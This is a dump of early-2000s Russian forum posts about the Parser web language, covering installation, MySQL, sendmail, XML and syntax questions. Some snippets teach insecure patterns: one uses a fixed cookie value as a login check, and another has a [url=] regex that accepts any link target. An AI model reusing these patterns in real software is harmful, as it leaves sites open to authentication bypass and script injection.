"1638","у именованой таблице есть метод columns.\
\
http://www.parser.ru/docs/lang/tablecolumns.htm"
"1639","Иначе ты будешь думать об xml исключительно как о каком-то промежуточном этапе к html :)\
\
А думать о нем надо начинать (IMHO) как о структурированых данных, на которые нас$ать как они выглядят, главное чтобы они были грамотно структурированы, тогда отобразить их можно будет многими разными способами."
"1640","user-request(1): '/usr/local/apache/htdocs/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/usr/local/apache/htdocs/index.html'  type: parser.runtime\
\
в чем моя ошибка"
"1641","Всё сделал вроде бы правильно, но в логах пишет вот что:\
\
[code]\
/usr/libexec/ld-elf.so.1: Shared object \"libmysqlclient.so.6\" not found\
[Sun May 19 12:32:55 2002] [error] [client 213.59.3.61] Premature end of script headers: /home/u7302/vexma.ru/cgi-bin/parser2.cgi\
[/code]\
\
Кто-нибудь имел дело с masterhost.ru? Подскажите, пожалуйста."
"1642","..и парсер не ищет их по диску сервера. Сообщение об ошибке говорит о том, что парсер не нашёл нужную dll'ку в ожидаемом месте и отрубился. Об этом много говорили на parser2.parser.ru/forum/"
"1643","Это означает, что вебсервер (и парсер) запускается от лица пользователя A, а заливаешь файлы ты как пользователь Б. Из соображений безопасности парсеру запрещено читать файлы, не принадлежащие ему. На нормальных хостингах вебсервер запускается от лица того пользователя, который заливает файлы по FTP, заходит по SSH и т.п. - то есть конфликта не возникает.\
\
Если нельзя перенастроить сервер, напиши на mailbox@parser.ru, попроси скомпилировать тебе фрибээсдешный parser3.cgi БЕЗ опции --disable-foreign-group-files - будет чуть менее secure'но, но будет работать..."
"1644","типа в главном конфиг файле должны быть указаны дрова?\
тогда я все указал. СКУЬ клиент у меня установлен.\
пароля к базе под рутом пока что нету(на время отладки-установки)\
похоже надо мной висит зловещее проклятье"
"1645","Пацаны кто недалеко от Луганска или когда -то тут будет - коннектитесь со мной ВЫСТАВЛЯЮ ПИВО\
!!!!!!!!!!!!!!!У МЕНЯ ЗАРАБОТАЛЬ ПАРСЕР С МАЙСКУЛЬ!!!!!!!!!!!!!!!\
А господину Лужниковскому и Misha v.3 \
вдвойне пива с водкой и солеными орешками!"
"1646","Это не наезд. Непроизвольно вырвалось, извините.."
"1647","А собранный под [i]Solaris 8[/i] parser3.cgi у кого-нибудь есть? Мне просто скоро отдавать сделанный сайтик на размещение, и только сейчас я дотумкал зайти на Неткрафт и спросить 'What's that site running?' Самому собирать боязно, да и вдруг не соберётся?"
"1648","для отображения страницы .... после ввода сравнивать с loginom\
and passwordom v base mysql и показываит таблицы из базы \
которые можно показывать и (или) редактировать данному логину ??\
----- посмотрел форум по p2 не нашел :( - дайте примеры all - чтобы разобратся |"
"1649","Спасибо, но по моему сам разобрался.\
"
"1652","Скажем заходит пользователь на страницу(или же делаеться рефреш для обработки (скажем логиниться)): а ты ему пишешь [code]^cookie[account;VasiaPupkinSuperSexMan;900][/code]  - вот и засунули ему в комп \"печенья\", дальше этот пользователь идет на сверхсекретную страничку за зарегестрированных пользователей и прежде чем выдать аму страницу узнаешь, а залогинился ли он [code]^sql[SELECT id FROM org WHERE account='^cookie[account]'][/code](это мы скажем проверяем посредством запроса, а можно проще [code]^eq[^cookie[accouint];VasiaPupkinSuperSexMan;yes;fig tebe](в этих вариантах значение VasiaPupkinSuperSexMan имеет разных характер)[/code])\
"
"1653","Есть ты запихнул пользователю куку, то при далнейшей работе скрипта ты не смогешь узнать значение, засунутой куки (сервер->кука пользователю). Соответственно значение уже можно получить апосля рефреша - но это не есть выход. Я делаю так: обращение пользователя -> ему кука -> если дальше при работе скрипта нам надо узнать значение куки, то используеться та переменная/форма, из которой идет значение для куки [code]\
^cookie[account;^form[xxx];session]\
^eq[^cookie[account];;^form[xxx];^cookie[account]]\
][/code]\
да вообще без разницы какой парсер - принцип он и в Африке...\
(исчо раз пардон за слишком примитивный пример)"
"1655","Хорошо тебе с со своим пЫвом-то. ;)"
"1658","угловых скобок не указал вокруг адре@са, вот почтовик и не понял.\
как пишутся адреса, это в соответствующий rfc.\
\
варианты правильного:\
a@b.c\
vasya <a@b.c>\
\"vasya\" a@b.c"
"1659","пока собиралось везде, ура autoconf!"
"1663","Ну и для других ОС скажем тоже, как это было в случае с Parser 2. Как правило кодеры не выбирают ОС, а работают с тем что есть, да и компилирование у многих вызывает затруднения."
"1664","Миша, у тебя в конце статьи написано:\
[quote]\
Следует в очередной раз заметить: НЕ РЕКОМЕНДУЕТСЯ использовать ^connect[] для каждого запроса. Используйте один ^connect[] на всю страницу (у меня ^MAIN:SQL.server{} начинается в самом начале страницы и закрывается в самом конце)\
[/quote]\
А в доке написано:\
[quote]\
Parser (в виде модуля к Apache или IIS) кеширует соединения с SQL-серверами, и повторный запрос на соединение с той же строкой подключения не производится, а соединение берется из кеша, если оно еще действительно. \
\
Вариант CGI также кеширует соединение, но только на один запрос, поэтому явно допустимы конструкции вида: \
\
^connect[строка подключения]{…} \
^connect[строка подключения]{…} \
\
При этом не будет двух соединений, и это полезно, когда, скажем, изредка соединение нужно, и заранее неизвестно нужно или нет - заранее его можно не делать, а делать визуально многократно, зная, что оно фактически не разрывается \
[/quote]\
Из твоих слов можно сделать вывод что при двух операторах connect на странице, делается 2 соедиенения, а дока говорит что одно, где же правда?"
"1665","1. Модуль/не модуль - разные реализации\
2. Чем меньше вызовов того-же connect - тем проще.\
Я, например, просто понять не могу, зачем его вызывать 10 раз, если можно это сделать один :))\
Чтобы конструкция sql запроса была \"самодостаточной\"? Но... Если я всегда открываю соединение в начале страницы и закрываю в конце, то мне кажется, что и без ^connect[] все замечательно.\
\
Да, вот еще что... Я не говорил, чтоя не делаю несколько ^connect[] а страницу. Случаи бывают разные, иногда надо сделать документ, полностью переносимый, и который должен работать вне зависимости от имеющихся на сервере моих классов или работающий с несколькими базами данных...\
\
Я просто считаю, что это должно быть типа правила хорошего тона. Если это можно сделать - то это надо делать.\
\
P.S. я - не последняя инстанция, эти статьи всего лишь _мои_ мысли. А я частенько ошибаюсь :)"
"1667","Кстати я и сам проверил profiler'ом для MS SQL, не делается ли нескольких соединений при нескольких операторах connect, - оказалось что не делается. Твои слова конечно меня немного смутили, но теперь все встало на свои места :)"
"1669","$aaa(2>1) запишет \"true\"\
потом если ^if($aaa){1}{0} - даст 1"
"1671","Сам механизм работает, но есть сложности, если в документе XML или шаблоне XSL есть нелатинские символы. \
Как указать кодировку, напр., windows-1251? \
Случай: XML в windows-1251. \
Случай: XSL в windows-1251.\
И, если различаются, случаи, когда тексты находятся в самом html-файле, и когда во внешних."
"1672","$result[^xdoc::create{<?xml version=\"1.0\" encoding=\"$response:content-type.charset\" ?>\
<!DOCTYPE document SYSTEM \"http://localhost/symbols.ent\">\
<block-list>^taint[as-is][$data]</block-list>}]\
\
Если у тебя сайт в одной кодировки, а работаешь ты с данными в другой - ну напиши их сам."
"1673","<td valign=\"top\" width=\"70%\">\
^mainmenu[0;1]\
</td>\
\
- Работает без проблем. а вот\
\
<td valign=\"top\" width=\"70%\">\
^mainmenu[0;1]\
^mainmenu[0;1]\
\
</td>\
\
Выдает ошибку\
\
(table) not a method or junction, can not call it\
mainmenu\
\
path/index.html(113)\
exception.type=parser.runtime "
"1675","@mainmenu[level;ctr]\
\
$ctrl[$ctr]\
^connect[mysql://@localhost/test?charset=cp1251_koi8]{$mainmenu[^table::sql{select * from mainmenu}]}\
\
$maxlevel[0] ^mainmenu.menu{^if($maxlevel<$mainmenu.Level){$maxlevel[$mainmenu.Level]}}\
\
<table> \
^buildmenu[$level;0]\
</table>\
\
@buildmenu[lev;upid]\
^mainmenu.menu{^if($mainmenu.Level eq $lev && $mainmenu.SubId eq $upid){\
$go[1]^if($mainmenu.Active eq off){^if($ctrl eq 1){$go[1]}{$go[0]}}\
\
^if($go eq 1){\
$curid[$mainmenu.ID]\
$upper[0]\
^mainmenu.menu{^if($mainmenu.SubId eq $curid){$upper[1]}}\
\
^if($upper eq 1){\
\
<div>\
\
<table><tr><td align=top>\
\
<img src=\"img/arrow_menu_right.gif\" border=0 name=arrMenu$mainmenu.ID onClick=\"changeSubMenu('sub$mainmenu.ID')\" onmouseout=\"leaveMenuArrow(this, 'sub$mainmenu.ID', false)\" onmouseover=\"enterMenuArrow(this, false)\"></td><td>\
<a class=menu ^if($form:ID eq $mainmenu.ID){}{href=${mainmenu.Href}.html?ID=$mainmenu.ID&SubId=$mainmenu.SubId}><b>$mainmenu.Name</b></a>\
\
</td></tr></table>\
\
}{\
\
<div style=\"PADDING-BOTTOM: 2px^; PADDING-LEFT: 12px^; PADDING-RIGHT: 12px^; PADDING-TOP: 2px^; TEXT-INDENT: -11px\">\
<img src=\"img/bullet_menu.gif\">\
<a class=menu ^if($form:ID eq $mainmenu.ID){}{href=${mainmenu.Href}.html?ID=$mainmenu.ID&SubId=$mainmenu.SubId}>$mainmenu.Name</a>\
\
}\
\
^if($mainmenu.Level<$maxlevel){\
\
\
<div class=notShown id=sub$mainmenu.ID style=\"PADDING-LEFT: 13px\"> \
^buildmenu[^eval($mainmenu.Level+1);$mainmenu.ID]\
</div>\
\
}}\
</div>\
}\
\
} "
"1676","но я забыл. На деле что происходит: для того, чтоб ответить на пустой месс, надо в него войти, а потом нажать \"ответить\". Ссылку \"ответить\" можно сделать у каждого поста, а пустые посты не делать ссылками на самих себя. Примерно так: &lt;a nohref&gt;пустой пост&lt;/a&gt;&nbsp;&lt;a href=answer&gt;ответить&lt;/a&gt;"
"1678","<a nohref>пустой пост</a> <a href=answer>ответить</a>"
"1679","ссылка-то ведет не на \"ответить\", а на \"прочесть пустой пост\"...\
может быть это перфекционизм, просто так реально удобнее. "
"1680","пацаны помогите мне разобраться как сделать\
как аплоадить картинку с last_insert_id\
если можно, кусок кода, а то голова кипит блин..."
"1681","http://www.parser.ru/docs/lang/compilesrc.htm :\
\
[quote]Для компиляции SQL драйверов под Win32 необходимы модули: \
win32mysql[/quote]\
\
[i]C:\\Program Files\\WinCvs\\parser>\"c:\\Program Files\\WinCvs\\cvs.exe\" -d :pserver:anonymous@cvs.parser.ru:/parser3project co win32mysql\
cvs checkout: Empty password used - try 'cvs login' with a real password[/i]\
\
[b]cvs [server aborted]: there is no repository /parser3project/win32mysql[/b]\
\
Это ошибка в доке и MySQL'ный модуль на CVS называется по-другому или это ошибка на CVS? win32tools забирается нормально.."
"1682","Вот такой код\
$_used[^checkdeal.select($checkdeal.value==$valforcheck)]\
$_less[^checkdeal.select($checkdeal.value!=$valforcheck)]\
$found[^table::create{findcount	value\
-----------------------$_used	$_used.value--------------------\
^while($_less){\
$valforcheck($_less.value)\
$_used[^_less.select($_less.value==$valforcheck)]\
$_less[^_less.select($_less.value!=$valforcheck)]\
-----------------------$_used	$_used.value--------------------\
}}]\
Собственно происходит заполнение таблицы данными \"количество одинаковых данных другой таблицы - значение данных\"\
упорно получаю\
\
contains illegal assignment attempt of table to <unknown> wwrapper, use constructor\
_used\
\
в отмеченных минусами строках\
если строку представить в виде \
$temp($_used)$temp	$_used.value\
то все нормально. Как обратиться к счетчику строк напрямую без присваивания временной переменной??"
"1685","Недокументированные возможности? :)прямо вин32."
"1686","Или мы тут в доке что-то пропустили, или просто разучились читать ;-) - я найти не смог. Завтра исправим..."
"1687","Вариант первый\
[code]\
^mail:send[ \
   $.from[Деня_1 <denya_raz@hotmail.ru>] \
      $.to[Деня_2 <denya_dva@hotmail.ru>] \
      $.subject[как дела] \
      $.body[Как у тебя дела? У меня - хреново!] \
]\
[/code]\
Дает ошибку [color=\"red\"]Data format error[/color] в логах sendmail\
Второй вариант\
[code]\
^mail:send[ \
   $.from[\"Деня_1\" denya_raz@hotmail.ru] \
      $.to[\"Деня_2\" denya_dva@hotmail.ru] \
      $.subject[как дела] \
      $.body[Как у тебя дела? У меня по прежнему хреново!] \
]\
[/code]\
На этот раз ругается Parser\
[color=\"red\"]\
'/usr/sbin/sendmail' reported problem: UNKNOWN (67)\
[/color]\
Третий вариант\
[code]\
^mail:send[ \
   $.from[denya_raz@hotmail.ru] \
      $.to[denya_dva@hotmail.ru] \
      $.subject[как дела] \
      $.body[Как у тебя дела? У меня все еще хреново!] \
]\
[/code]\
Опять таки - [color=\"red\"]Data format error[/color]\
SOS!"
"1688","На локальной машине win32 стоит MDaemon 2.7 SP4, так вот вариант №1 он обрабатывает нормально."
"1689","Как порекомендуете создать голосование? Интересует вопрос хранения данных. В качестве наброска приведу следующий код для MySQL[code]create table p3_poll \
(\
id int unsigned auto_increment primary key,\
question tinytext,\
^for[i](1;8){answer${i}text tinytext,\
}^for[i](1;8){answer${i}int int unsigned not null,\
}type enum(\"radio\",\"checkbox\"),\
started datetime,\
ended datetime,\
lastip varchar(32)\
)\
[/code]\
\
Какие будут предложения? \
\
P.S. Некоторые размышления вслух -- мы сохраняет последний ай-пи для невозможности накрутки, вдобавок посылаем пользователю cookie.\
Ещё, как вариант, можно сравнивать текущее время и время последнего голосования, если вы совсем уж параноик. ;-)))) "
"1690","создать несколько таблиц ?\
\
answers:\
[code]\
CREATE TABLE answers (\
  id tinyint(4) NOT NULL default '0',\
  pid tinyint(4) NOT NULL default '0',\
  answer varchar(255) NOT NULL default '',\
  votings int(11) NOT NULL default '0'\
) TYPE=MyISAM;\
[/code]\
\
questions:\
[code]\
CREATE TABLE questions (\
  id tinyint(4) NOT NULL default '0',\
  date datetime NOT NULL default '0000-00-00 00:00:00',\
  text text\
) TYPE=MyISAM;\
\
[/code]\
\
ip:\
[code]\
CREATE TABLE ip (\
  id tinyint(4) NOT NULL default '0',\
  pid tinyint(4) NOT NULL default '0',\
  ip varchar(15) NOT NULL default '0',\
  date datetime NOT NULL default '0000-00-00 00:00:00'\
) TYPE=MyISAM;\
[/code]\
\
Тогда можно создавать любое количество ответов на вопрос - \
выбираешь из answers с pid = id голосования.\
В ip - пишешь IP ($env:REMOTE_ADDR или $env:HTTP_X_FORWARDED_FOR), pid - номер голосования (из таблицы question)\
\
P.S. Ежели кому надо, могу выложить скрипт с админ частью (на П3) ..."
"1693","aix \
freebsd \
linux \
mac_os_x \
openbsd \
solaris \
win32 \
hp unix \
irix\
\
Некоторые ОС из этого списка конечно экзотика, но всё же. Кстати давно давно, в форуме ещё по 2-му парсеру, просили версию (разумеется 2-го парсера) для hp ux, но она пока не вышла."
"1694","всем-всем-всем: применяйте taint/untaint тогда и только тогда, когда вас не устраивает поведение по-умолчанию.\
2myke: документация по стандарту XML выброшена и из неё не прочитано ничего?"
"1695","мне было интересно, вообще нужны кому-нибудь исходники или нет.\
с открытия прошёл почти месяц, пока этот вопрос всплыл.\
конечно, скоро подкручу."
"1696","Игорь, что задумывалось выразить этим кодом?\
создание таблиц в цикле только для проверки: не самый медленный способ разбазаривания ресурсов.\
в hash есть операции со множествами."
"1697","читаем man sendmail на какой-то машине.\
[code]\
EXIT STATUS\
     sendmail returns an exit status describing what it did.  The\
     codes are defined in /usr/include/sysexits.h.\
...\
     EX_NOUSER           User name not recognized.\
[/code]\
\
[code]\
читаем куда послали\
#define EX_NOUSER       67      /* addressee unknown */\
= возможно, это ваш случай и есть: User name not recognized.\
[/code]\
диагноз: ваш \"sendmail\" не понимает ни так ни эдак.\
если думаете, что виноват parser, попробуйте позапускать его в консоли, передавая разные варианты заголовка письма.\
как найдёте тот, который ваш sendmail понимает, передавайте такой.\
\
в идеале: попросите вашего администратора поставить что-нибудь постандартнее или уточните у него формат задания адреса."
"1699","вот мое реальное сообщение:\
Возник вопрос про методы класса mysql.p. Фрагмент кода:\
[code]\
@year[source]\
$result[DATE_FORMAT($source,'%Y')]\
#end @year[]\
\
\
@month[source]\
$result[DATE_FORMAT($source,'%m')]\
#end @year[]\
\
\
@day[source]\
$result[DATE_FORMAT($source,'%d')]\
#end @year[]\
[/code]\
\
В данных методах соответствующие значения возвращаются как строки, и в связи с этим вопрос, а можно ли их использовать как числа, например в арифметических операциях и т.д.? или надо писать так:\
[code]\
@year[source]\
$result(YEAR($source))\
#end @year[]\
\
\
@month[source]\
$result(MONTH($source))\
#end @year[]\
\
\
@day[source]\
$result(DAY($source))\
#end @year[]\
[/code]\
"
"1700","имелось в виду.\
что хочется для всего на свете, так на то исходники."
"1701","Кстати например для почтового сервера CommuniGate Pro бинарики выкладывают для более чем 20 платформ. Правда это коммерческий продукт и его исходники недоступны."
"1704","только во 2-м фрагменте кода есть ошибка, надо вместо:\
[code]\
@day[source]$result(DAY($source))\
[/code]\
Писать:\
[code]\
@day[source]$result(DAYOFMONTH($source))\
[/code]"
"1705","можно сделать $result(), так будет точнее.\
если надо вернуть только строку, можно вообще никакого $result[] не писать, а просто\
[code]\
@year[source]\
DATE_FORMAT($source,'%Y')\
@...\
[/code]"
"1706","всё зависит от того, куда планируется использовать результат.\
если [b]в основном, именно как строку[/b], то чем меньше преобразований [читай, телодвижений] тем дольше живём.\
да и строки можно всегда использовать в выражениях наряду с числами.\
у строки даже есть метод format такой же, как у int/double.\
так что Misha привёл самый оптимальный вариант."
"1707","В случае если подразумевается возврат строки а не числа?"
"1708","http://www.parser.ru/forum/?id=1705\
\
что не надо $result писать если надо строку вернуть?"
"1709","есть пользователи parser, которым не нравится то, что в языке нет символа, помечающего конец метода.\
метод кончается там, где начинается следующий.\
выбрасывается 1 перенос строки перед следующим @.\
так сделано, чтобы код был коротким и в духе parser2.\
использование $result позволяет некоторую свободу.\
некоторым нравится свобода."
"1711","DATE_FORMAT(dt_published,'%m') возвращает \"04\" для апреля и мне это бывает важно. К тому-же преобразовать в int не вижу проблем. Правда и обратное-же преобразование не сложно, но... мне так удобнее, когда меньше преобразований."
"1712","Хотя бы для того, чтобы посмотреть на длину changelog'а и восхититься.."
"1713","Вы меня запутали своими рассуждениями :))))\
\
Этот метод в любом случае возвращает строку:\
при вызове ^MAIN:pSQL.date_format[dt;%m] он вернет\
строку \"DATE_FORMAT(dt,'%m')\" для формирования SQL запроса.\
\
Так что $result() тут - ошибка.\
Так что ты или не читал для чего используются эти методы, или одно из двух. А там были и примеры.\
"
"1714","Я на это напоролся, когда старательно пытался достать из MySQL'ной базы столбец и именем count. Потом я вспомнил p2, ругнулся, переназвал столбец 'cntr' и всё заработало..."
"1716","[quote]\
В данных методах соответствующие значения возвращаются как строки, и в связи с этим вопрос, а можно ли их использовать как числа, например в арифметических операциях и т.д.? или надо писать так...\
[/quote]"
"1718","Как ты себе представляешь использование как числа строки вида: \"DATE_FORMAT(dt,'%m')\"?"
"1719","чтобы узнать количество строк в таблице я просто использую само значение этой переменной т.е. вызов $table возвращает количество строк в этой табличной переменной."
"1720","поэтому и спрашивал. Но вот тут: http://www.parser.ru/forum/?id=1706 PAF говорит что строки можно использовать в выражениях наряду с числами, т.е. насколько я понимаю можно сложить число со строкой если эта строка является числом?"
"1722","Если обсуждаем методы написаного мной класса m*sql.p - то это одно, если автопреобразование типов - это другое.\
\
В первом случае (а твой вопрос начинался с упоминания о классе, и я считал, что речь идет о его методах) - это бред, т.к. эти методы возвращают строки, которые используются в формировании sql запросов.\
\
Во втором случае (о котором может быть ты неявно подразумевал, но в связи с тем, как был задан тобой вопрос я не понял) - преобразуй на здоровье строки в числа и обратно. Для этого в парсере предостаточно механизмов. Не хочешь делать это руками? - предоставь делать автопреобразования парсеру, но будь готов отвалиться с ошибкой, если он не сможет сделать это автоматически."
"1723","спасибо за информацию. Твой пример дал мне много ценной информации ну и разумеется я его уже у себя внедрил (ты не против? :)). Извиняюсь, если я нечетко задал вопрос, который, в свою очередь, вызвал некоторое непонимание."
"1724","Sendmail Version 8.11.6\
Если подскажете как самому настроить sendmail будет просто замечательно.\
По-моему Parser здесь ни при чем.\
Заранее благодарен."
"1726","Да нет, с самим XML/XSLT проблем нет, у меня на разных сайтах используется и прекрасно работает (http://welcome.to/bards/, напр. -- расписания концертов и конц. площадки, да и еще в других местах)\
В ком. строке как msxml/ msxsl, так и instant saxon работают на ура, автоматом и вручную, ежедневно по нескольку раз...\
Но вот из-под парсера вызов несколько неочевиден, русские выдаются по-японски, а я недостаточно владею сим древним языком... :(\
Если верно, что сей сайт сделан с XML, то парочка примеров того, как _реально_ вызвается обработка с нужной кодировкой, была бы очень полезна."
"1730","[code]\
$tbl[^table::create{aaa	bbb\
aaa	bbb}]\
$tbl\
[/code]\
\
Получишь:\
contains illegal assignment attempt of table to MAIN class, use constructor\
\
[b]tbl[/b]\
\
/path/file.p3(3)\
exception.type=parser.runtime "
"1732","у меня в случае когда таблица (объект создаваемый конструктором sql класса table) создается на базе SQL запроса все работает?"
"1733","может, ты имеешь в виду работу кода ^if($tbl){...} или $tbl_conut($tbl)? Тогда будет работать... "
"1734","Так пожно писать только в выражениях."
"1735","Есть ли сайты которые дают бесплатный хостинг на который можно поставить parser 2?\
Нужен доступ соответственно к cgi-bin  и прочее"
"1737","У меня работает следующий код:\
[code]\
^connect[..]{\
	$var[\
		^table::sql{\
			select ...\
		}\
	]\
}\
$var\
[/code]\
где вызов $var возвращает количество строк в полученной табличной переменной."
"1738","Правда я эту переменную использую только в предикате (логическом выражении оператора ^if)"
"1740","Купи лучше нормальный хостинг и живи спокойно, - бесплатный сыр бывает сам знаешь где."
"1744","Они кто дает бесплатный хостинг пишут что дают доступ и к папке cgi-bin и к файлам .htaccess, стало быть должно работать, но вот когда реально попоробовал одном из них, то простенький перловский скрипт работает, а вот parser2.cgi не хочет.\
Так вот вопрос касался имменно этого."
"1745","Там неоднократно обсуждалась установка parser2 на бесплатные хостинги..."
"1746","Там таблицы начальные максимум из 5 строк, так что ресурсы тут сильно не разбазаришь, и так удобнее."
"1756","Но пришлось сделать небольшие манипуляции с auto.p и кодировками.\
А так -- нормально...\
То, что в доке есть черновиками, довести бы до ума -- все было бы совсем классно (не переписывать документацию по XML/XSLT, но \
===\
^xdoc.transform[rules.xsl][[params hash]] выдает DOM \
===\
безо вских доп. сведений, что за hash, и т.п. -- немного мало).\
Замечательно, что в парсере изначально сделана поддержка XML, но хочется, чтобы это дошло до масс. А для этого нужны доки. И примеры.\
"
"1759","what exactly do i have 2 give 2 my server people so then i can run parser powerd sites? They run an apache server.\
Thanks for help"
"1760","So as to permit your users using parser 3 for their sites you have to download the proper version of the parser for your OS. It would be better if you choose Apache module instead of CGI version. Nikolai do you now Russian? If so you should speak only in Russian here :)"
"1761","... tell them to configure Apache so, that parser could parse :) files with specific extension such as .p3, .p2, .html or any other you like. This can be done by adding several lines in your .htaccess file (see Parser documentation, section \"Installing and configuring Parser\"), or by doing the same thing with httpd.conf file of Apache server. If you are planning to use databeses, you have to download specific database driver."
"1764","Ибо не понимаю я практической пользы от оного (нафиг генерить XML контент парсером, чтобы затем обрабатывать его XSLT - если и то, и другое можно делать одним парсером), но если другим надо.."
"1766","[quote]Е-е, бэйби, да, ты должна страдать![/quote] :-)"
"1767","Можно как-нить попроще, без ^eval(...)?"
"1770","Есть некая таблица с данными - $myTable.\
Нужно по-строчке брать из неё данные и добавлять в другую таблицу, например $myTargetTable, причём последняя никак пока не определена и в тексте ещё не упомянута.\
\
Корректно ли будет вызвать\
[code]\
^myTargetTable.append{some  >  someMore}\
[/code]\
\
или правильнее её сначала создать, типа\
[code]\
$myTargetTable[^table::create{}]\
[/code]\
???\
\
P.S. Заранее не известно, сколько столбцов нужно добавить."
"1772","1. нет, некоректно.\
2. заранее создать. т.к. не известно сколько будет столбцов - делать nameless со всеми вытекающими.\
\
Однако я не использую nameless. Я делаю так:\
бегу по таблице, накапливаю данные в строчной переменной, а заодно анализирую их, таким образом узнаю, сколько у меня столбцов и какие у них имена.\
После этого делаю ^table::create[^taint[as-is][$names]\
^taint[as-is][$tabledata]]\
"
"1773","Делаю:\
\
[code]\
$f[^file::cgi[/cgi-bin/parser3/tools/printenv.pl]]\
[/code]\
\
Получаю:\
\
[code]\
output does not contain CGI header;\
exit status=254; stdoutsize=0; stdout: \"\";\
stderrsize=0; stderr: \"\"\
[/code]\
\
Похоже, что парсер не находит файл, т.к. при смене пути к фпйлу результат не меняется.\
Как же тогда правильно писать путь?"
"1774","... путь ищется от корня...\
попробуй относительные пути ../cgi/parser3/..."
"1775","Что-то не въеду... одна страничка (главная) вижу текст, а когда перехожу по ссылке - вместо букв - квадратики. Смотрю Konqueror 2.2.1. из-под ASP Linux."
"1777","имеется ввиду страница на design.ru. А страница А.Лебедева с ходу нечитаема. То ли лыжи не едут....."
"1779","Проверь почту или скачай отсюда: http://www.bougakov.com/misc/libmysqlclient.so"
"1781","пишу:\
$stxt[^string:sql{\
select \
 MID(Text,LOCATE('$form:searchstr',Text)-100,300) as Text\
from \
 pages1 \
where \
 Text like '%$form:searchstr%'}]\
}\
\
 а оно мне:\
\
result must not contain more then one row\
select MID(Text,LOCATE('1',Text)-100,300) as Text from pages1 where Text like '%1%'\
\
c:/web/narpos/search.html(154)\
exception.type=sql.execute "
"1782","... результат должен содержать ОДНУ строку! Пользуй ^table:sql\
\
см. класс string - Статические методы"
"1784","Т.е. надо использовать имя обрабатываемого файла,\
как его получить не через request:uri?"
"1785","Почему:\
[code]\
^untaint[as-is]{&nbsp^;}\
вернет нам ^; и как бороться с этим прожорством ??\
- что-бы небыло вопросов -  вот код, форма mold и одноименная перменная содержат код p2 -\
^if(def $form:html_mold){^untaint[as-is]{$form:html_mold}}{^untaint[as-is]{$mold.text}}\
[/code]\
"
"1786","IMHO, просто Николай культурный человек, уважающий своих собеседников (без шуток, это не наезд на Николая), без русской клавиатуры, поэтому он пишет по английски, а не транслитом. ;-)"
"1788","Создаём страницу[code]<FORM action=\"\"><INPUT name=\"html_mold\" value=\"&amp^;nbsp^^;\"></FORM>\
^if(def $form:html_mold){^untaint[as-is]{$form:html_mold}}[/code]\
\
Открываем в Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020510.\
\
Делаем сабмит: /test/?html_mold=%26nbsp%5E%3B .\
\
Получаем результат:\
[code]\
<form action=\"\"><input name=\"html_mold\" value=\"&amp;nbsp^;\"></form>\
&nbsp^;\
[/code]\
\
[quote]-- Я использую виндоуз 95 уже три года. Он у меня ещё ни разу не завис. Скажите, что я неправильно делаю? [/quote]"
"1789","Было бы замечательно, если бы оно дублировалось в <title> в этом форуме. ;-) А то довольно сложно использовать кнопку \"back\" браузера, т. к. все документы имеют одинаковый заголовок. :-("
"1790","Вот оно там где лежит.\
\
/usr/lib/libmysqlclient.so\
\
Сане счё раз спасибочкы! :))"
"1792","auto.p\
----------------\
@auto[]\
$connect_string[mysql://root@localhost/np]\
\
@hashList[]\
^connect[$connect_string]{\
$h[^hash::sql{Select Abbr,Name from state}]\
Count: ^h._count[]<br>\
^h.foreach[key;value]{\
        $key\
#       $key=$value\
}[<br>]\
}\
\
test.html\
-------------------\
^hashList[]\
#$h.UT\
\
Работает замечательно.\
Вывод\
-----\
Count: 51\
UT \
MO \
....\
\
Если убрать комментарий в строке \
#       $key=$value\
то получаем\
\
contains illegal assignment attempt of hash to MAIN code_frame, use constructor\
value\
\
.... auto.p(10)\
\
\
Если же убрать комментарий в строке \
#$h.UT\
то получаем\
\
contains illegal assignment attempt of hash to MAIN class, use constructor\
UT\
\
Если заменить \
$h.UT \
на строку\
^if(def $h.UT){def}{undef}\
то получаем \
def\
\
Вопрос: что делается не так?"
"1793","http://parser.ru/docs/lang/hashsql.htm\
\
Результат подобного запроса хеш хешей...\
\
Отлюда вывод, что в $value у тебя хеш с текущей записью.\
\
Юзать например так:\
$value.Abbr или $value.Name"
"1795","[code]^untaint[as-is]{&nbsp^;}[/code] вернет именно &nbsp;\
\
"
"1796","Прописал в КФС subj следующим образом:\
[code]\
$CLASS_PATH[../classes]\
[/code]\
Подключаеться это дело в /auto.p, вот так:\
[code]\
@USE\
mySuperPuperFile.p\
[/code]\
Пока работаю в корне - всё нормально. Если перехожу на папку \"вниз\" - /news/, например, то при вызове описанных в mySuperPuperFile.p методов оно ругаецца - [b]not found along MAIN:CLASS_PATH[/b]. Если полный путь указывать, то не видит даже из корня :(((\
Нафига вообще этот $CLASS_PATH нужен? Или это из-за кривизны виндовой всё?"
"1797","Спасибо!\
Все равно не понятно как получить это из документации. Но это уже другой вопрос."
"1799","Отсюда следует: надо просто внимательно на него посмотреть, минут 20 почесать репу и запомнить :)))"
"1802","Если у тебя с DOCUMENT_ROOT все нормально то, CLASS_PATH надо писать так:\
[code]\
$CLASS_PATH[/classes]\
[/code]\
Если нет то:\
[code]\
$CLASS_PATH[/путь_от_DOCUMENT_ROOT_до_корня/classes]\
[/code]\
"
"1804","$CLASS_PATH[/../data/classes]\
\
P.S. у нас тоже это все вынесено..."
"1810","Миш, помнишь, был разговор ещё на p2/forum/ про псевдотэги [url=] в этом форуме? Если не влом, можешь привести кусок кода, который отвечает за 1) подчёркивание ссылок и 2)обработку пар [ url ][ /url ], а? У меня тут кризис идей..."
"1811","Как получить last_insert_id()?\
\
$last[^int:sql{select last_insert_id() from guest}]\
 \
а вызывать потом просто  $last ?\
"
"1813","Форум кусок текста скушал!! "
"1815","Это автообрамление url:\
[code]\
###########################################################################\
# автообрамление урлов. вынесено, т.к. их надо обрамлять и в заголовках\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(^^|[^^=\"])(http://|ftp://|mailto:)([:a-z0-9~%{}._/?=&@,#-]+)][gi]{${match.1}<a href=\"${match.2}${match.3}\">${match.2}${match.3}</a>}}]\
#end @matchHrefs[]\
[/code]\
\
\
Это обработка [url=]:\
[code]\
$text[^text.match[([url=\"?(.{9,}?)\"?])(.+?)([/url])][gi]{<a href=\"${match.2}\">${match.3}</a>}]\
[/code]\
"
"1818","Если просто отрубить листинг директории, исключи Indexes из Options или напиши\
[code]\
<Directory /path/to/dir/>\
    Options -Indexes\
</Directory>\
[/code]\
